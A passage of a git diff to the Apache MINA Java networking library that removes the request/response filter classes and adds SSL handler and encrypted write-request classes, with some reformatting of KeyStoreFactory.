equals(Object o) { - if (o == this) { - return true; - } - - if (o == null) { - return false; - } - - if (!(o instanceof Request)) { - return false; - } - - Request that = (Request) o; - return this.getId().equals(that.getId()); - } - - @Override - public String toString() { - String timeout = getTimeoutMillis() == Long.MAX_VALUE ? "max" - : String.valueOf(getTimeoutMillis()); - - return "request: { id=" + getId() + ", timeout=" + timeout - + ", message=" + getMessage() + " }"; - } - - Runnable getTimeoutTask() { - return timeoutTask; - } - - void setTimeoutTask(Runnable timeoutTask) { - this.timeoutTask = timeoutTask; - } - - ScheduledFuture getTimeoutFuture() { - return timeoutFuture; - } - - void setTimeoutFuture(ScheduledFuture timeoutFuture) { - this.timeoutFuture = timeoutFuture; - } -} diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/RequestResponseFilter.java b/mina-core/src/main/java/org/apache/mina/filter/reqres/RequestResponseFilter.java deleted file mode 100644 index f5d3156cf1..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/RequestResponseFilter.java +++ /dev/null @@ -1,363 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.reqres; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.Iterator; -import java.util.LinkedHashSet; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.ScheduledExecutorService; -import java.util.concurrent.ScheduledFuture; -import java.util.concurrent.TimeUnit; - -import org.apache.mina.core.filterchain.IoFilterChain; -import org.apache.mina.core.session.AttributeKey; -import org.apache.mina.core.session.IoSession; -import org.apache.mina.core.write.WriteRequest; -import org.apache.mina.filter.util.WriteRequestFilter; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * TODO Add documentation - * - * @author Apache MINA Project - * @org.apache.xbean.XBean - */ -public class RequestResponseFilter extends WriteRequestFilter { - - private final AttributeKey RESPONSE_INSPECTOR = new AttributeKey(getClass(), "responseInspector"); - private final AttributeKey REQUEST_STORE = new AttributeKey(getClass(), "requestStore"); - private final AttributeKey UNRESPONDED_REQUEST_STORE = new AttributeKey(getClass(), "unrespondedRequestStore"); - - private final ResponseInspectorFactory responseInspectorFactory; - private final ScheduledExecutorService timeoutScheduler; - - private final static Logger LOGGER = LoggerFactory.getLogger(RequestResponseFilter.class); - - public RequestResponseFilter(final ResponseInspector responseInspector, - ScheduledExecutorService timeoutScheduler) { - if (responseInspector == null) { - throw new IllegalArgumentException("responseInspector"); - } - if (timeoutScheduler == null) { - throw new IllegalArgumentException("timeoutScheduler"); - } - this.responseInspectorFactory = new ResponseInspectorFactory() { - public ResponseInspector getResponseInspector() { - return responseInspector; - } - }; - this.timeoutScheduler = timeoutScheduler; - } - - public RequestResponseFilter( - ResponseInspectorFactory responseInspectorFactory, - ScheduledExecutorService timeoutScheduler) { - if (responseInspectorFactory == null) { - throw new IllegalArgumentException("responseInspectorFactory"); - } - if (timeoutScheduler == null) { - throw new IllegalArgumentException("timeoutScheduler"); - } - this.responseInspectorFactory = responseInspectorFactory; - this.timeoutScheduler = timeoutScheduler; - } - - @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { - if (parent.contains(this)) { - throw new IllegalArgumentException( - "You can't add the same filter instance more than once. Create another instance and add it."); - } - - IoSession session = parent.getSession(); - session.setAttribute(RESPONSE_INSPECTOR, responseInspectorFactory - .getResponseInspector()); - session.setAttribute(REQUEST_STORE, createRequestStore(session)); - session.setAttribute(UNRESPONDED_REQUEST_STORE, createUnrespondedRequestStore(session)); - } - - @Override - public void onPostRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { - IoSession session = parent.getSession(); - - destroyUnrespondedRequestStore(getUnrespondedRequestStore(session)); - destroyRequestStore(getRequestStore(session)); - - session.removeAttribute(UNRESPONDED_REQUEST_STORE); - session.removeAttribute(REQUEST_STORE); - session.removeAttribute(RESPONSE_INSPECTOR); - } - - @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { - ResponseInspector responseInspector = (ResponseInspector) session - .getAttribute(RESPONSE_INSPECTOR); - Object requestId = responseInspector.getRequestId(message); - if (requestId == null) { - // Not a response message. Ignore. - nextFilter.messageReceived(session, message); - return; - } - - // Retrieve (or remove) the corresponding request. - ResponseType type = responseInspector.getResponseType(message); - if (type == null) { - nextFilter.exceptionCaught(session, new IllegalStateException( - responseInspector.getClass().getName() - + "#getResponseType() may not return null.")); - } - - Map requestStore = getRequestStore(session); - - Request request; - switch (type) { - case WHOLE: - case PARTIAL_LAST: - synchronized (requestStore) { - request = requestStore.remove(requestId); - } - break; - case PARTIAL: - synchronized (requestStore) { - request = requestStore.get(requestId); - } - break; - default: - throw new InternalError(); - } - - if (request == null) { - // A response message without request. Swallow the event because - // the response might have arrived too late. - if (LOGGER.isWarnEnabled()) { - LOGGER.warn("Unknown request ID '" + requestId - + "' for the response message. Timed out already?: " - + message); - } - } else { - // Found a matching request. - // Cancel the timeout task if needed. - if (type != ResponseType.PARTIAL) { - ScheduledFuture scheduledFuture = request.getTimeoutFuture(); - if (scheduledFuture != null) { - scheduledFuture.cancel(false); - Set unrespondedRequests = getUnrespondedRequestStore(session); - synchronized (unrespondedRequests) { - unrespondedRequests.remove(request); - } - } - } - - // And forward the event. - Response response = new Response(request, message, type); - request.signal(response); - nextFilter.messageReceived(session, response); - } - } - - @Override - protected Object doFilterWrite( - final NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { - Object message = writeRequest.getMessage(); - if (!(message instanceof Request)) { - return null; - } - - final Request request = (Request) message; - if (request.getTimeoutFuture() != null) { - throw new IllegalArgumentException("Request can not be reused."); - } - - Map requestStore = getRequestStore(session); - Object oldValue = null; - Object requestId = request.getId(); - synchronized (requestStore) { - oldValue = requestStore.get(requestId); - if (oldValue == null) { - requestStore.put(requestId, request); - } - } - if (oldValue != null) { - throw new IllegalStateException( - "Duplicate request ID: " + request.getId()); - } - - // Schedule a task to be executed on timeout. - TimeoutTask timeoutTask = new TimeoutTask( - nextFilter, request, session); - ScheduledFuture timeoutFuture = timeoutScheduler.schedule( - timeoutTask, request.getTimeoutMillis(), - TimeUnit.MILLISECONDS); - request.setTimeoutTask(timeoutTask); - request.setTimeoutFuture(timeoutFuture); - - // Add the timeout task to the unfinished task set. - Set unrespondedRequests = getUnrespondedRequestStore(session); - synchronized (unrespondedRequests) { - unrespondedRequests.add(request); - } - - return request.getMessage(); - } - - @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { - // Copy the unfinished task set to avoid unnecessary lock acquisition. - // Copying will be cheap because there won't be that many requests queued. - Set unrespondedRequests = getUnrespondedRequestStore(session); - List unrespondedRequestsCopy; - synchronized (unrespondedRequests) { - unrespondedRequestsCopy = new ArrayList( - unrespondedRequests); - unrespondedRequests.clear(); - } - - // Generate timeout artificially. - for (Request r : unrespondedRequestsCopy) { - if (r.getTimeoutFuture().cancel(false)) { - r.getTimeoutTask().run(); - } - } - - // Clear the request store just in case we missed something, though it's unlikely. - Map requestStore = getRequestStore(session); - synchronized (requestStore) { - requestStore.clear(); - } - - // Now tell the main subject. - nextFilter.sessionClosed(session); - } - - @SuppressWarnings("unchecked") - private Map getRequestStore(IoSession session) { - return (Map) session.getAttribute(REQUEST_STORE); - } - - @SuppressWarnings("unchecked") - private Set getUnrespondedRequestStore(IoSession session) { - return (Set) session.getAttribute(UNRESPONDED_REQUEST_STORE); - } - - /** - * Returns a {@link Map} which stores {@code messageId}-{@link Request} - * pairs whose {@link Response}s are not received yet. Please override - * this method if you need to use other {@link Map} implementation - * than the default one ({@link HashMap}). - */ - protected Map createRequestStore( - IoSession session) { - return new ConcurrentHashMap(); - } - - /** - * Returns a {@link Set} which stores {@link Request} whose - * {@link Response}s are not received yet. Please override - * this method if you need to use other {@link Set} implementation - * than the default one ({@link LinkedHashSet}). Please note that - * the {@link Iterator} of the returned {@link Set} have to iterate - * its elements in the insertion order to ensure that - * {@link RequestTimeoutException}s are thrown in the order which - * {@link Request}s were written. If you don't need to guarantee - * the order of thrown exceptions, any {@link Set} implementation - * can be used. - */ - protected Set createUnrespondedRequestStore( - IoSession session) { - return new LinkedHashSet(); - } - - /** - * Releases any resources related with the {@link Map} created by - * {@link #createRequestStore(IoSession)}. This method is useful - * if you override {@link #createRequestStore(IoSession)}. - * - * @param requestStore what you returned in {@link #createRequestStore(IoSession)} - */ - protected void destroyRequestStore( - Map requestStore) { - // Do nothing - } - - /** - * Releases any resources related with the {@link Set} created by - * {@link #createUnrespondedRequestStore(IoSession)}. This method is - * useful if you override {@link #createUnrespondedRequestStore(IoSession)}. - * - * @param unrespondedRequestStore what you returned in {@link #createUnrespondedRequestStore(IoSession)} - */ - protected void destroyUnrespondedRequestStore( - Set unrespondedRequestStore) { - // Do nothing - } - - private class TimeoutTask implements Runnable { - private final NextFilter filter; - - private final Request request; - - private final IoSession session; - - private TimeoutTask(NextFilter filter, Request request, - IoSession session) { - this.filter = filter; - this.request = request; - this.session = session; - } - - public void run() { - Set unrespondedRequests = getUnrespondedRequestStore(session); - if (unrespondedRequests != null) { - synchronized (unrespondedRequests) { - unrespondedRequests.remove(request); - } - } - - Map requestStore = getRequestStore(session); - Object requestId = request.getId(); - boolean timedOut; - synchronized (requestStore) { - if (requestStore.get(requestId) == request) { - requestStore.remove(requestId); - timedOut = true; - } else { - timedOut = false; - } - } - - if (timedOut) { - // Throw the exception only when it's really timed out. - RequestTimeoutException e = new RequestTimeoutException(request); - request.signal(e); - filter.exceptionCaught(session, e); - } - } - } -} diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/RequestTimeoutException.java b/mina-core/src/main/java/org/apache/mina/filter/reqres/RequestTimeoutException.java deleted file mode 100644 index 7ed18d11c2..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/RequestTimeoutException.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.reqres; - -import org.apache.mina.core.RuntimeIoException; - -/** - * An {@link RuntimeIoException} which is thrown when a {@link Request} is timed out. - * - * @author Apache MINA Project - */ -public class RequestTimeoutException extends RuntimeException { - private static final long serialVersionUID = 5546784978950631652L; - - private final Request request; - - /** - * Creates a new exception. - */ - public RequestTimeoutException(Request request) { - if (request == null) { - throw new IllegalArgumentException("request"); - } - this.request = request; - } - - /** - * Creates a new exception. - */ - public RequestTimeoutException(Request request, String s) { - super(s); - if (request == null) { - throw new IllegalArgumentException("request"); - } - this.request = request; - } - - /** - * Creates a new exception. - */ - public RequestTimeoutException(Request request, String message, - Throwable cause) { - super(message); - initCause(cause); - if (request == null) { - throw new IllegalArgumentException("request"); - } - this.request = request; - } - - /** - * Creates a new exception. - */ - public RequestTimeoutException(Request request, Throwable cause) { - initCause(cause); - if (request == null) { - throw new IllegalArgumentException("request"); - } - this.request = request; - } - - /** - * Returns the request which has timed out. - */ - public Request getRequest() { - return request; - } -} \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/Response.java b/mina-core/src/main/java/org/apache/mina/filter/reqres/Response.java deleted file mode 100644 index c6f87dfa8b..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/Response.java +++ /dev/null @@ -1,96 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.reqres; - -/** - * TODO Add documentation - * - * @author Apache MINA Project - */ -public class Response { - private final Request request; - - private final ResponseType type; - - private final Object message; - - public Response(Request request, Object message, ResponseType type) { - if (request == null) { - throw new IllegalArgumentException("request"); - } - - if (message == null) { - throw new IllegalArgumentException("message"); - } - - if (type == null) { - throw new IllegalArgumentException("type"); - } - - this.request = request; - this.type = type; - this.message = message; - } - - public Request getRequest() { - return request; - } - - public ResponseType getType() { - return type; - } - - public Object getMessage() { - return message; - } - - @Override - public int hashCode() { - return getRequest().getId().hashCode(); - } - - @Override - public boolean equals(Object o) { - if (o == this) { - return true; - } - - if (o == null) { - return false; - } - - if (!(o instanceof Response)) { - return false; - } - - Response that = (Response) o; - if (!this.getRequest().equals(that.getRequest())) { - return false; - } - - return this.getType().equals(that.getType()); - } - - @Override - public String toString() { - return "response: { requestId=" + getRequest().getId() + ", type=" - + getType() + ", message=" + getMessage() + " }"; - } -} diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/DisableEncryptWriteRequest.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/DisableEncryptWriteRequest.java new file mode 100644 index 0000000000..5f92555a92 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/DisableEncryptWriteRequest.java @@ -0,0 +1,29 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import org.apache.mina.core.write.WriteRequest; + +/** + * Interface used to designate WriteRequest objects which should not be encrypted. + */ +public interface DisableEncryptWriteRequest extends WriteRequest { + +} \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/EncryptedWriteRequest.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/EncryptedWriteRequest.java new file mode 100644 index 0000000000..37190ea26a --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/EncryptedWriteRequest.java @@ -0,0 +1,46 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import org.apache.mina.core.write.DefaultWriteRequest; +import org.apache.mina.core.write.WriteRequest; + +/** + * Specialty WriteRequest which indicates that the contents has been encrypted. + *

    + * This prevents a WriteRequest from being encrypted twice and allows unwrapping + * of these WriteRequets when dispatching the messageSent events. + *

    + * Users should not create their own EncryptedWriteRequest objects. + */ +public class EncryptedWriteRequest extends DefaultWriteRequest { + + // The original message + private WriteRequest originalRequest; + + public EncryptedWriteRequest(Object encodedMessage, WriteRequest parent) { + super(encodedMessage, parent != null ? parent.getFuture() : null); + this.originalRequest = parent != null ? parent : this; + } + + public WriteRequest getOriginalRequest() { + return this.originalRequest; + } +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/KeyStoreFactory.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/KeyStoreFactory.java index 4dbf9932c0..3d5500d03f 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/ssl/KeyStoreFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/KeyStoreFactory.java @@ -39,19 +39,30 @@ * @author Apache MINA Project */ public class KeyStoreFactory { - + private String type = "JKS"; + private String provider = null; + private char[] password = null; + private byte[] data = null; /** - * Creates a new {@link KeyStore}. This method will be called - * by the base class when Spring creates a bean using this FactoryBean. + * Creates a new {@link KeyStore}. This method will be called by the base class + * when Spring creates a bean using this FactoryBean. * * @return a new {@link KeyStore} instance. + * @throws KeyStoreException If we can't create an instance of the + * KeyStore for the given type + * @throws NoSuchProviderException If we don't have the provider registered to + * create the KeyStore + * @throws NoSuchAlgorithmException If the KeyStore algorithm cannot be used + * @throws CertificateException If the KeyStore certificate cannot be loaded + * @throws IOException If the KeyStore cannot be loaded */ - public KeyStore newInstance() throws KeyStoreException, NoSuchProviderException, NoSuchAlgorithmException, CertificateException, IOException { + public KeyStore newInstance() throws KeyStoreException, NoSuchProviderException, NoSuchAlgorithmException, + CertificateException, IOException { if (data == null) { throw new IllegalStateException("data property is not set."); } @@ -64,6 +75,7 @@ public KeyStore newInstance() throws KeyStoreException, NoSuchProviderException, } InputStream is = new ByteArrayInputStream(data); + try { ks.load(is, password); } finally { @@ -78,12 +90,11 @@ public KeyStore newInstance() throws KeyStoreException, NoSuchProviderException, } /** - * Sets the type of key store to create. The default is to create a - * JKS key store. + * Sets the type of key store to create. The default is to create a JKS key + * store. * * @param type the type to use when creating the key store. - * @throws IllegalArgumentException if the specified value is - * null. + * @throws IllegalArgumentException if the specified value is null. */ public void setType(String type) { if (type == null) { @@ -93,11 +104,10 @@ public void setType(String type) { } /** - * Sets the key store password. If this value is null no - * password will be used to check the integrity of the key store. + * Sets the key store password. If this value is null no password + * will be used to check the integrity of the key store. * - * @param password the password or null if no password is - * needed. + * @param password the password or null if no password is needed. */ public void setPassword(String password) { if (password != null) { @@ -108,10 +118,10 @@ public void setPassword(String password) { } /** - * Sets the name of the provider to use when creating the key store. The - * default is to use the platform default provider. + * Sets the name of the provider to use when creating the key store. The default + * is to use the platform default provider. * - * @param provider the name of the provider, e.g. "SUN". + * @param provider the name of the provider, e.g. "SUN". */ public void setProvider(String provider) { this.provider = provider; @@ -127,22 +137,26 @@ public void setData(byte[] data) { System.arraycopy(data, 0, copy, 0, data.length); this.data = copy; } - + /** * Sets the data which contains the key store. * * @param dataStream the {@link InputStream} that contains the key store + * @throws IOException If we can't process the stream */ private void setData(InputStream dataStream) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); try { for (;;) { - int data = dataStream.read(); - if (data < 0) { + int readByte = dataStream.read(); + + if (readByte < 0) { break; } - out.write(data); + + out.write(readByte); } + setData(out.toByteArray()); } finally { try { @@ -152,20 +166,22 @@ private void setData(InputStream dataStream) throws IOException { } } } - + /** * Sets the data which contains the key store. * * @param dataFile the {@link File} that contains the key store + * @throws IOException If we can't process the file */ public void setDataFile(File dataFile) throws IOException { setData(new BufferedInputStream(new FileInputStream(dataFile))); } - + /** * Sets the data which contains the key store. * * @param dataUrl the {@link URL} that contains the key store. + * @throws IOException If we can't process the URL */ public void setDataUrl(URL dataUrl) throws IOException { setData(dataUrl.openStream()); diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SSLHandlerG0.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SSLHandlerG0.java new file mode 100644 index 0000000000..ec5653245b --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SSLHandlerG0.java @@ -0,0 +1,765 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import java.nio.BufferOverflowException; +import java.util.ArrayList; +import java.util.concurrent.Executor; + +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLEngineResult; +import javax.net.ssl.SSLException; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.filterchain.IoFilter.NextFilter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.core.write.WriteRejectedException; +import org.apache.mina.core.write.WriteRequest; + +/** + * Default implementation of SSLHandler + *

    + * The concurrency model is enforced using a simple mutex to ensure that the + * state of the decode buffer and closure is concurrent with the SSLEngine. + * + * @author Jonathan Valliere + * @author Apache MINA Project + */ +/* package protected */ class SSLHandlerG0 extends SslHandler { + + /** + * Maximum number of queued messages waiting for encoding + */ + static protected final int MAX_QUEUED_MESSAGES = 64; + + /** + * Maximum number of messages waiting acknowledgement + */ + static protected final int MAX_UNACK_MESSAGES = 6; + + /** + * Writes the SSL Closure messages after a close request + */ + static protected final boolean ENABLE_SOFT_CLOSURE = true; + + /** + * Enable aggregation of handshake messages + */ + static protected final boolean ENABLE_FAST_HANDSHAKE = true; + + /** + * Enable asynchronous tasks + */ + static protected final boolean ENABLE_ASYNC_TASKS = true; + + /** + * Indicates whether the first handshake was completed + */ + protected boolean mHandshakeComplete = false; + + /** + * Indicated whether the first handshake was started + */ + protected boolean mHandshakeStarted = false; + + /** + * Indicates that the outbound is closing + */ + protected boolean mOutboundClosing = false; + + /** + * Indicates that previously queued messages should be written before closing + */ + protected boolean mOutboundLinger = false; + + /** + * Holds the decoder thread reference; used for recursion detection + */ + protected Thread mDecodeThread = null; + + /** + * Captured error state + */ + protected SSLException mPendingError = null; + + /** + * Instantiates a new handler + * + * @param sslEngine The SSLEngine instance + * @param executor The executor instance to use to process tasks + * @param session The session to handle + */ + public SSLHandlerG0(SSLEngine sslEngine, Executor executor, IoSession session) { + super(sslEngine, executor, session); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isOpen() { + return mEngine.isOutboundDone() == false; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isConnected() { + return mHandshakeComplete && isOpen(); + } + + /** + * {@inheritDoc} + */ + @Override + synchronized public void open(NextFilter next) throws SSLException { + if (mHandshakeStarted == false) { + mHandshakeStarted = true; + + if (mEngine.getUseClientMode()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} open() - begin handshaking", this); + } + + mEngine.beginHandshake(); + write_handshake(next); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + synchronized public void receive(NextFilter next, IoBuffer message) throws SSLException { + if (mDecodeThread == null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive() - message {}", toString(), message); + } + + mDecodeThread = Thread.currentThread(); + IoBuffer source = resume_decode_buffer(message); + + try { + receive_loop(next, source); + } finally { + suspend_decode_buffer(source); + mDecodeThread = null; + } + } else { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive() - recursion", toString()); + } + + receive_loop(next, mDecodeBuffer); + } + + throw_pending_error(next); + } + + /** + * Process a received message + * + * @param next The next filter + * @param message The message to process + * + * @throws SSLException If we get some error while processing the message + */ + @SuppressWarnings("incomplete-switch") + protected void receive_loop(NextFilter next, IoBuffer message) throws SSLException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - source {}", toString(), message); + } + + if (mEngine.isInboundDone()) { + switch (mEngine.getHandshakeStatus()) { + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs wrap, invoking write", toString()); + } + + write_handshake(next); + break; + } + + if ( mPendingError != null ) { + throw mPendingError; + } else { + throw new IllegalStateException("closed"); + } + } + + IoBuffer source = message; + + // No need to fo for another loop if the message is empty + if (source.remaining() == 0) { + return; + } + + IoBuffer dest = allocate_app_buffer(source.remaining()); + + SSLEngineResult result = mEngine.unwrap(source.buf(), dest.buf()); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - bytes-consumed {}, bytes-produced {}, status {}, handshake {}", + toString(), result.bytesConsumed(), result.bytesProduced(), result.getStatus(), + result.getHandshakeStatus()); + } + + if (result.bytesProduced() == 0) { + dest.free(); + } else { + dest.flip(); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - result {}", toString(), dest); + } + + next.messageReceived(mSession, dest); + } + + switch (result.getHandshakeStatus()) { + case NEED_UNWRAP: + if (result.bytesConsumed() != 0 && message.hasRemaining()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs unwrap, looping", toString()); + } + + receive_loop(next, message); + } + + break; + case NEED_TASK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs task, scheduling", toString()); + } + + schedule_task(next); + + break; + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs wrap, invoking write", toString()); + } + + write_handshake(next); + break; + + case FINISHED: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake finished, flushing queue", toString()); + } + + finish_handshake(next); + break; + + case NOT_HANDSHAKING: + if ((result.bytesProduced() != 0 || result.bytesConsumed() != 0) && message.hasRemaining()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - trying to decode more messages, looping", toString()); + } + + receive_loop(next, message); + } + + break; + } + } + + /** + * {@inheritDoc} + */ + @Override + synchronized public void ack(NextFilter next, WriteRequest request) throws SSLException { + if (mAckQueue.remove(request)) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} ack() - {}", toString(), request); + } + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} ack() - checking to see if any messages can be flushed", toString(), request); + } + + flush(next); + } + + throw_pending_error(next); + } + + /** + * {@inheritDoc} + */ + @Override + synchronized public void write(NextFilter next, WriteRequest request) throws SSLException, WriteRejectedException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write() - source {}", toString(), request); + } + + if (mOutboundClosing) { + throw new WriteRejectedException(request, "closing"); + } + + if (mEncodeQueue.isEmpty()) { + if (write_user_loop(next, request) == false) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write() - unable to write right now, saving request for later", toString(), + request); + } + + if (mEncodeQueue.size() == MAX_QUEUED_MESSAGES) { + throw new BufferOverflowException(); + } + + mEncodeQueue.add(request); + } + } else { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write() - unable to write right now, saving request for later", toString(), request); + } + + if (mEncodeQueue.size() == MAX_QUEUED_MESSAGES) { + throw new BufferOverflowException(); + } + + mEncodeQueue.add(request); + } + + throw_pending_error(next); + } + + /** + * Attempts to encode the WriteRequest and write the data to the IoSession + * + * @param next + * @param request + * + * @return {@code true} if the WriteRequest was fully consumed; otherwise + * {@code false} + * + * @throws SSLException + */ + @SuppressWarnings("incomplete-switch") + synchronized protected boolean write_user_loop(NextFilter next, WriteRequest request) throws SSLException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - source {}", toString(), request); + } + + IoBuffer source = IoBuffer.class.cast(request.getMessage()); + IoBuffer dest = allocate_encode_buffer(source.remaining()); + + SSLEngineResult result = mEngine.wrap(source.buf(), dest.buf()); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - bytes-consumed {}, bytes-produced {}, status {}, handshake {}", + toString(), result.bytesConsumed(), result.bytesProduced(), result.getStatus(), + result.getHandshakeStatus()); + } + + if (result.bytesProduced() == 0) { + dest.free(); + } else { + if (result.bytesConsumed() == 0) { + // an handshaking message must have been produced + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, null); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - result {}", toString(), encrypted); + } + + next.filterWrite(mSession, encrypted); + // do not return because we want to enter the handshake switch + } else { + // then we probably consumed some data + dest.flip(); + + if (source.hasRemaining()) { + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, null); + mAckQueue.add(encrypted); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - result {}", toString(), encrypted); + } + + next.filterWrite(mSession, encrypted); + + if (mAckQueue.size() < MAX_UNACK_MESSAGES) { + return write_user_loop(next, request); // write additional chunks + } + + return false; + } else { + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, request); + mAckQueue.add(encrypted); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - result {}", toString(), encrypted); + } + + next.filterWrite(mSession, encrypted); + + return true; + } + // we return because there is not reason to enter the handshake switch + } + } + + switch (result.getHandshakeStatus()) { + case NEED_TASK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - handshake needs task, scheduling", toString()); + } + + schedule_task(next); + break; + + case 